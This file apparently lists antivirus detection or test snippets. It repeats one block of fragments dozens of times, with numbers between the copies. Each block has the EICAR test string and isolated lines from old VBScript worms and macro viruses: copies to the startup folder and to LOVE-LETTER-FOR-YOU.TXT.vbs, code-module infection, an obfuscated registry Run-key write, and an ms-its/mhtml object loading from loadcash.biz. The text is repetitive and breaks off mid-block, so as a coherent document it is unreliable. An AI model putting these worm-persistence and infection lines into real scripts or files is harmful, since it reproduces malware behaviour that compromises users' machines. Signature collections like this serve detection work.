 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

493

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

494

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

495

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

496

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

497

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

498

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

499

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

500

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

501

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

502

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

503

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

504

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

505

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

506

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

507

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

508

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

509

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

510

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

511

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

512

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

513

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

514

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

515

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

516

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

517

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

518

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

519

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
